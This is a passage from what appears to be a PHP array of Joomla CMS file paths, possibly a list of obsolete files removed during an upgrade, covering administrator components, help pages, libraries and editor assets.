			'/administrator/components/com_config/views/application/tmpl/default_ftplogin.php',
			'/administrator/components/com_config/views/application/tmpl/default_locale.php',
			'/administrator/components/com_config/views/application/tmpl/default_mail.php',
			'/administrator/components/com_config/views/application/tmpl/default_metadata.php',
			'/administrator/components/com_config/views/application/tmpl/default_navigation.php',
			'/administrator/components/com_config/views/application/tmpl/default_permissions.php',
			'/administrator/components/com_config/views/application/tmpl/default_seo.php',
			'/administrator/components/com_config/views/application/tmpl/default_server.php',
			'/administrator/components/com_config/views/application/tmpl/default_session.php',
			'/administrator/components/com_config/views/application/tmpl/default_site.php',
			'/administrator/components/com_config/views/application/tmpl/default_system.php',
			'/administrator/components/com_config/views/application/tmpl/index.html',
			'/administrator/components/com_config/views/application/view.html.php',
			'/administrator/components/com_config/views/close/index.html',
			'/administrator/components/com_config/views/close/view.html.php',
			'/administrator/components/com_config/views/component/index.html',
			'/administrator/components/com_config/views/component/tmpl/default.php',
			'/administrator/components/com_config/views/component/tmpl/default_navigation.php',
			'/administrator/components/com_config/views/component/tmpl/index.html',
			'/administrator/components/com_config/views/component/view.html.php',
			'/administrator/components/com_config/views/index.html',
			'/administrator/components/com_contact/models/fields/modal/contacts.php',
			'/administrator/components/com_contact/models/fields/ordering.php',
			'/administrator/components/com_newsfeeds/models/fields/modal/newsfeeds.php',
			'/administrator/components/com_newsfeeds/models/fields/ordering.php',
			'/administrator/components/com_plugins/models/fields/ordering.php',
			'/administrator/components/com_templates/controllers/source.php',
			'/administrator/components/com_templates/models/source.php',
			'/administrator/components/com_templates/views/source/index.html',
			'/administrator/components/com_templates/views/source/tmpl/edit.php',
			'/administrator/components/com_templates/views/source/tmpl/edit_ftp.php',
			'/administrator/components/com_templates/views/source/tmpl/index.html',
			'/administrator/components/com_templates/views/source/view.html.php',
			'/administrator/components/com_weblinks/models/fields/index.html',
			'/administrator/components/com_weblinks/models/fields/ordering.php',
			'/administrator/help/en-GB/Components_Banners_Banners.html',
			'/administrator/help/en-GB/Components_Banners_Banners_Edit.html',
			'/administrator/help/en-GB/Components_Banners_Categories.html',
			'/administrator/help/en-GB/Components_Banners_Category_Edit.html',
			'/administrator/help/en-GB/Components_Banners_Clients.html',
			'/administrator/help/en-GB/Components_Banners_Clients_Edit.html',
			'/administrator/help/en-GB/Components_Banners_Tracks.html',
			'/administrator/help/en-GB/Components_Contact_Categories.html',
			'/administrator/help/en-GB/Components_Contact_Category_Edit.html',
			'/administrator/help/en-GB/Components_Contacts_Contacts.html',
			'/administrator/help/en-GB/Components_Contacts_Contacts_Edit.html',
			'/administrator/help/en-GB/Components_Content_Categories.html',
			'/administrator/help/en-GB/Components_Content_Category_Edit.html',
			'/administrator/help/en-GB/Components_Messaging_Inbox.html',
			'/administrator/help/en-GB/Components_Messaging_Read.html',
			'/administrator/help/en-GB/Components_Messaging_Write.html',
			'/administrator/help/en-GB/Components_Newsfeeds_Categories.html',
			'/administrator/help/en-GB/Components_Newsfeeds_Category_Edit.html',
			'/administrator/help/en-GB/Components_Newsfeeds_Feeds.html',
			'/administrator/help/en-GB/Components_Newsfeeds_Feeds_Edit.html',
			'/administrator/help/en-GB/Components_Redirect_Manager.html',
			'/administrator/help/en-GB/Components_Redirect_Manager_Edit.html',
			'/administrator/help/en-GB/Components_Search.html',
			'/administrator/help/en-GB/Components_Weblinks_Categories.html',
			'/administrator/help/en-GB/Components_Weblinks_Category_Edit.html',
			'/administrator/help/en-GB/Components_Weblinks_Links.html',
			'/administrator/help/en-GB/Components_Weblinks_Links_Edit.html',
			'/administrator/help/en-GB/Content_Article_Manager.html',
			'/administrator/help/en-GB/Content_Article_Manager_Edit.html',
			'/administrator/help/en-GB/Content_Featured_Articles.html',
			'/administrator/help/en-GB/Content_Media_Manager.html',
			'/administrator/help/en-GB/Extensions_Extension_Manager_Discover.html',
			'/administrator/help/en-GB/Extensions_Extension_Manager_Install.html',
			'/administrator/help/en-GB/Extensions_Extension_Manager_Manage.html',
			'/administrator/help/en-GB/Extensions_Extension_Manager_Update.html',
			'/administrator/help/en-GB/Extensions_Extension_Manager_Warnings.html',
			'/administrator/help/en-GB/Extensions_Language_Manager_Content.html',
			'/administrator/help/en-GB/Extensions_Language_Manager_Edit.html',
			'/administrator/help/en-GB/Extensions_Language_Manager_Installed.html',
			'/administrator/help/en-GB/Extensions_Module_Manager.html',
			'/administrator/help/en-GB/Extensions_Module_Manager_Edit.html',
			'/administrator/help/en-GB/Extensions_Plugin_Manager.html',
			'/administrator/help/en-GB/Extensions_Plugin_Manager_Edit.html',
			'/administrator/help/en-GB/Extensions_Template_Manager_Styles.html',
			'/administrator/help/en-GB/Extensions_Template_Manager_Styles_Edit.html',
			'/administrator/help/en-GB/Extensions_Template_Manager_Templates.html',
			'/administrator/help/en-GB/Extensions_Template_Manager_Templates_Edit.html',
			'/administrator/help/en-GB/Extensions_Template_Manager_Templates_Edit_Source.html',
			'/administrator/help/en-GB/Glossary.html',
			'/administrator/help/en-GB/Menus_Menu_Item_Manager.html',
			'/administrator/help/en-GB/Menus_Menu_Item_Manager_Edit.html',
			'/administrator/help/en-GB/Menus_Menu_Manager.html',
			'/administrator/help/en-GB/Menus_Menu_Manager_Edit.html',
			'/administrator/help/en-GB/Site_Global_Configuration.html',
			'/administrator/help/en-GB/Site_Maintenance_Clear_Cache.html',
			'/administrator/help/en-GB/Site_Maintenance_Global_Check-in.html',
			'/administrator/help/en-GB/Site_Maintenance_Purge_Expired_Cache.html',
			'/administrator/help/en-GB/Site_System_Information.html',
			'/administrator/help/en-GB/Start_Here.html',
			'/administrator/help/en-GB/Users_Access_Levels.html',
			'/administrator/help/en-GB/Users_Access_Levels_Edit.html',
			'/administrator/help/en-GB/Users_Debug_Users.html',
			'/administrator/help/en-GB/Users_Groups.html',
			'/administrator/help/en-GB/Users_Groups_Edit.html',
			'/administrator/help/en-GB/Users_Mass_Mail_Users.html',
			'/administrator/help/en-GB/Users_User_Manager.html',
			'/administrator/help/en-GB/Users_User_Manager_Edit.html',
			'/administrator/help/en-GB/css/docbook.css',
			'/administrator/help/en-GB/css/help.css',
			'/administrator/includes/application.php',
			'/includes/application.php',
			'/libraries/joomla/application/router.php',
			'/libraries/joomla/environment/response.php',
			'/libraries/joomla/html/access.php',
			'/libraries/joomla/html/behavior.php',
			'/libraries/joomla/html/content.php',
			'/libraries/joomla/html/date.php',
			'/libraries/joomla/html/email.php',
			'/libraries/joomla/html/form.php',
			'/libraries/joomla/html/grid.php',
			'/libraries/joomla/html/html.php',
			'/libraries/joomla/html/index.html',
			'/libraries/joomla/html/jgrid.php',
			'/libraries/joomla/html/language/en-GB/en-GB.jhtmldate.ini',
			'/libraries/joomla/html/language/en-GB/index.html',
			'/libraries/joomla/html/language/index.html',
			'/libraries/joomla/html/list.php',
			'/libraries/joomla/html/number.php',
			'/libraries/joomla/html/rules.php',
			'/libraries/joomla/html/select.php',
			'/libraries/joomla/html/sliders.php',
			'/libraries/joomla/html/string.php',
			'/libraries/joomla/html/tabs.php',
			'/libraries/joomla/html/tel.php',
			'/libraries/joomla/html/user.php',
			'/libraries/joomla/pagination/index.html',
			'/libraries/joomla/pagination/object.php',
			'/libraries/joomla/pagination/pagination.php',
			'/libraries/joomla/plugin/helper.php',
			'/libraries/joomla/plugin/index.html',
			'/libraries/joomla/plugin/plugin.php',
			'/libraries/legacy/application/helper.php',
			'/libraries/legacy/component/helper.php',
			'/libraries/legacy/component/index.html',
			'/libraries/legacy/html/contentlanguage.php',
			'/libraries/legacy/html/index.html',
			'/libraries/legacy/html/menu.php',
			'/libraries/legacy/menu/index.html',
			'/libraries/legacy/menu/menu.php',
			'/libraries/legacy/module/helper.php',
			'/libraries/legacy/module/index.html',
			'/libraries/legacy/pathway/index.html',
			'/libraries/legacy/pathway/pathway.php',
			'/media/editors/codemirror/css/csscolors.css',
			'/media/editors/codemirror/css/jscolors.css',
			'/media/editors/codemirror/css/phpcolors.css',
			'/media/editors/codemirror/css/sparqlcolors.css',
			'/media/editors/codemirror/css/xmlcolors.css',
			'/media/editors/codemirror/js/basefiles-uncompressed.js',
			'/media/editors/codemirror/js/basefiles.js',
			'/media/editors/codemirror/js/codemirror-uncompressed.js',
			'/media/editors/codemirror/js/editor.js',
			'/media/editors/codemirror/js/highlight.js',
			'/media/editors/codemirror/js/mirrorframe.js',
			'/media/editors/codemirror/js/parsecss.js',
			'/media/editors/codemirror/js/parsedummy.js',
			'/media/editors/codemirror/js/parsehtmlmixed.js',
			'/media/editors/codemirror/js/parsejavascript.js',
			'/media/editors/codemirror/js/parsephp.js',
			'/media/editors/codemirror/js/parsephphtmlmixed.js',
			'/media/editors/codemirror/js/parsesparql.js',
			'/media/editors/codemirror/js/parsexml.js',
			'/media/editors/codemirror/js/select.js',
			'/media/editors/codemirror/js/stringstream.js',
			'/media/editors/codemirror/js/tokenize.js',
			'/media/editors/codemirror/js/tokenizejavascript.js',
			'/media/editors/codemirror/js/tokenizephp.js',
			'/media/editors/codemirror/js/undo.js',
			'/media/editors/codemirror/js/util.js',
			'/media/editors/tinymce/jscripts/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/langs/en.js',
			'/media/editors/tinymce/jscripts/tiny_mce/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/license.txt',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/css/advhr.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/js/rule.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/rule.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/css/advimage.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/image.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/img/sample.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/js/image.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advimage/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/css/advlink.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/js/advlink.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlink/link.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autolink/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autoresize/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/langs/en.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/autosave/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/bbcode/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/contextmenu/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/directionality/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/emotions.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-cool.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-cry.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-embarassed.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-foot-in-mouth.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-frown.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-innocent.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-kiss.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-laughing.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-money-mouth.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-sealed.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-smile.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-surprised.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-tongue-out.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-undecided.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-wink.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/img/smiley-yell.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/js/emotions.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/emotions/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/css/fullpage.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/fullpage.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullpage/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/fullscreen.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/fullscreen/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/iespell/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/button.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/clearlooks2/window.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/skins/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/inlinepopups/template.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/insertdatetime/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/layer/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/layer/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/lists/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/lists/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/css/media.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/js/embed.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/js/media.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/media.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/media/moxieplayer.swf',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/nonbreaking/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/noneditable/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/pagebreak/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/js/pastetext.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/js/pasteword.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/pastetext.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/paste/pasteword.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/example.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/jscripts/embed.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/jscripts/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/preview/preview.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/print/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/print/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/save/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/save/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/css/searchreplace.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/js/searchreplace.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/searchreplace/searchreplace.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/css/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/img/wline.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/spellchecker/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/css/props.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/js/props.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/props.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/style/readme.txt',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/tabfocus/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/cell.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/css/cell.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/css/row.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/css/table.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/cell.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/merge_cells.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/row.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/js/table.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/merge_cells.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/row.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/table/table.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/blank.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/css/template.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/js/template.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/template/template.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualblocks/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualblocks/css/visualblocks.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualblocks/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualblocks/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/visualchars/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/wordcount/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/abbr.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/acronym.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/attributes.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/cite.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/css/attributes.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/css/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/css/popup.css',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/del.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/editor_plugin.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/ins.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/abbr.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/acronym.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/attributes.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/cite.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/del.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/element_common.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/js/ins.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/plugins/xhtmlxtras/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/about.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/anchor.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/charmap.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/color_picker.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/editor_template.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/image.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/colorpicker.jpg',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/flash.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/icons.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/iframe.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/pagebreak.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/quicktime.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/realmedia.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/shockwave.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/trans.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/video.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/img/windowsmedia.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/about.js',
